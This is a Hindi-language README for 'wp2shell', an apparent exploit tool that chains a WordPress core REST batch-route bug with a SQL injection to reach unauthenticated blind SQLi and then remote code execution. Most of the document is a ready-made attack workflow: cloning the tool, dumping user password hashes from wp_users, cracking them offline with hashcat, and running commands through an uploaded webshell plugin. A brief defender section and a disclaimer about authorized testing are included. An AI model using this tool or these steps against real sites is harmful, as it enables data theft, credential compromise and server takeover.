
CVE-2026-63030 (RCE) + CVE-2026-60137 (SQLi)
WordPress Core POC (CVE-2026-63030 + CVE-2026-60137) के लिए बिना प्रमाणीकरण के दूरस्थ कोड निष्पादन
wp2shell WordPress कोर में एक महत्वपूर्ण भेद्यता श्रृंखला के लिए शोषण। यह REST API बैच रूट कन्फ्यूज़न बग को WP_Query में SQL इंजेक्शन के साथ जोड़कर असुरक्षित WordPress इंस्टॉलेशन पर बिना प्रमाणीकरण के दूरस्थ कोड निष्पादन प्राप्त करता है।
| विवरण | जानकारी |
|---|---|
| CVE | CVE-2026-63030 (REST बैच रूट कन्फ्यूज़न) + CVE-2026-60137 (author__not_in SQLi) |
| प्रभावित | WordPress 6.9.0 – 6.9.4, 7.0.0 – 7.0.1 |
| पैच किए गए | 6.9.5, 7.0.2 |
| प्रमाणीकरण आवश्यक | कोई नहीं — बिना प्रमाणीकरण के |
| CVSS | गंभीर (RCE श्रृंखला) |
| खोजकर्ता | Adam Kues (Assetnote / Searchlight Cyber) |
| निर्भरता | Python 3.8+ — केवल मानक पुस्तकालय |
शोषण WordPress कोर में दो बगों को जोड़ता है:
CVE-2026-60137 — SQL इंजेक्शन – जब author__not_in को ऐरे के बजाय स्ट्रिंग के रूप में पारित किया जाता है, तो WordPress is_array() सैनिटाइज़ेशन गार्ड को छोड़ देता है और कच्चे मान को NOT IN (...) SQL क्लॉज़ में सम्मिलित करता है।
CVE-2026-63030 — बैच रूट कन्फ्यूज़न – /wp-json/batch/v1 एंडपॉइंट समानांतर $matches और $validation ऐरे बनाता है। एक दोषपूर्ण उप-अनुरोध को $validation में जोड़ा जाता है लेकिन $matches में नहीं, जिससे +1 इंडेक्स शिफ्ट होता है। उप-अनुरोध i को उप-अनुरोध i+1 के हैंडलर के साथ भेजा जाता है।
एक श्रृंखला में जुड़े: POST /wp/v2/posts अनुरोध जिसमें एक आंतरिक GET /wp/v2/users अनुरोध author_exclude स्ट्रिंग के साथ होता है, दोनों विधि अनुमति-सूची और इनपुट सैनिटाइज़ेशन को बायपास करता है। स्ट्रिंग WP_Query तक author__not_in के रूप में पहुँचती है और SQL में सम्मिलित हो जाती है — जिससे आपको बिना प्रमाणीकरण के ब्लाइंड SQL इंजेक्शन मिलता है।
वहाँ से, उपकरण यह कर सकता है:
git clone https://github.com/ekomsSavior/wp2shell.git
cd wp2shell
chmod +x wp2shell.py
बस इतना ही। किसी तृतीय-पक्ष पैकेज की आवश्यकता नहीं है।
./wp2shell.py <url> [command] [options]
./wp2shell.py http://target.com
एक इंटरएक्टिव मेनू लॉन्च करता है जिसमें सभी कार्यक्षमता क्रमांकित विकल्पों के माध्यम से उपलब्ध होती है।
check — भेद्यता की पुष्टि करें (सुरक्षित)समय-विलंब जांच करता है ताकि शोषण की पुष्टि हो सके। कोई डेटा नहीं पढ़ता और कुछ भी नहीं बदलता।
./wp2shell.py http://target.com check
read — डेटा निकालें (ब्लाइंड SQL इंजेक्शन)समय-आधारित ब्लाइंड SQL इंजेक्शन का उपयोग करके डेटाबेस से जानकारी निकालता है।
# सर्वर फिंगरप्रिंट (संस्करण, डेटाबेस, उपयोगकर्ता)
./wp2shell.py http://target.com read
# उपयोगकर्ता लॉगिन और पासवर्ड हैश निकालें
./wp2shell.py http://target.com read --users
# डेटाबेस नाम निकालें
./wp2shell.py http://target.com read --database
# MySQL संस्करण निकालें
./wp2shell.py http://target.com read --version
# कस्टम SQL क्वेरी
./wp2shell.py http://target.com read --query "SELECT @@version"
shell — दूरस्थ कोड निष्पादनवैध प्रशासक क्रेडेंशियल आवश्यक हैं। SQL इंजेक्शन पासवर्ड हैश को पुनर्प्राप्त कर सकता है, लेकिन आपको पुनर्प्राप्त सादा पाठ पासवर्ड प्रदान करना होगा।
# एकल कमांड निष्पादित करें
./wp2shell.py http://target.com shell --user admin --password 'recovered_pass' --cmd "id"
# एकल कमांड निष्पादित करें (संक्षिप्त रूप)
./wp2shell.py http://target.com shell --user admin --password 'recovered_pass' --cmd whoami
# 1. जाँचें कि लक्ष्य असुरक्षित है या नहीं
./wp2shell.py https://example.com check
# 2. प्रशासक पासवर्ड हैश निकालें
./wp2shell.py https://example.com read --users
# 3. हैश को ऑफ़लाइन क्रैक करें (hashcat, john, आदि का उपयोग करके)
# hashcat -m 400 <hash> /path/to/wordlist.txt
# 4. पुनर्प्राप्त पासवर्ड के साथ एक कमांड निष्पादित करें
./wp2shell.py https://example.com shell --user admin --password 'cracked_pass' --cmd "id"
| शाखा | प्रभावित | ठीक किए गए |
|---|---|---|
| 6.9.x | 6.9.0 – 6.9.4 | 6.9.5 |
| 7.0.x | 7.0.0 – 7.0.1 | 7.0.2 |
| 6.8.x | 6.8.0 – 6.8.5 (केवल SQLi, कोई RCE नहीं) | 6.8.6 |
संस्करण 6.9.0 से पहले के संस्करण पूर्ण RCE श्रृंखला से प्रभावित नहीं हैं।
रक्षकों के लिए:
requests निकायों के साथ POST /wp-json/batch/v1 अनुरोधों की निगरानी करें404 का हमेशा मतलब "पैच किया गया" नहीं होता — इसका मतलब यह भी हो सकता है कि WAF/CDN अनाम REST API पहुंच को अवरुद्ध कर रहा हैयह उपकरण केवल शैक्षिक और अधिकृत सुरक्षा परीक्षण उद्देश्यों के लिए है।
भेद्यता के बारे में अधिक जानकारी के लिए, Searchlight Cyber research blog देखें।
| सुविधा | विवरण |
|---|
| भेद्यता जाँच | सुरक्षित समय-विलंब जांच — कोई डेटा नहीं पढ़ता, कुछ भी नहीं बदलता |
| डेटा निष्कर्षण | बाइनरी-खोज अनुकूलन के साथ ब्लाइंड SQL इंजेक्शन कुशल निष्कर्षण के लिए |
| उपयोगकर्ता हैश डंप | wp_users से user_login और user_pass हैश निकालें |
| दूरस्थ कोड निष्पादन | प्रशासक के रूप में प्रमाणित करें, एक वेबशेल प्लगइन अपलोड करें, कमांड निष्पादित करें |
| इंटरएक्टिव शेल | स्थायी कमांड निष्पादन सत्र |
| रंगीन आउटपुट | स्कैन परिणामों के लिए स्पष्ट दृश्य प्रतिक्रिया |
| कोई निर्भरता नहीं | केवल Python के मानक पुस्तकालय का उपयोग करता है |
| विकल्प | विवरण |
|---|
--users | wp_users से user_login और user_pass निकालें |
--database | वर्तमान डेटाबेस नाम निकालें |
--version | MySQL संस्करण निकालें |
--query "SQL" | एक कस्टम SQL क्वेरी निष्पादित करें (ब्लाइंड निष्कर्षण) |
--user USER | RCE के लिए प्रशासक उपयोगकर्ता नाम |
--password PASS | RCE के लिए प्रशासक पासवर्ड (सादा पाठ, SQLi के माध्यम से पुनर्प्राप्त) |
--cmd CMD | वेबशेल के माध्यम से निष्पादित करने के लिए कमांड |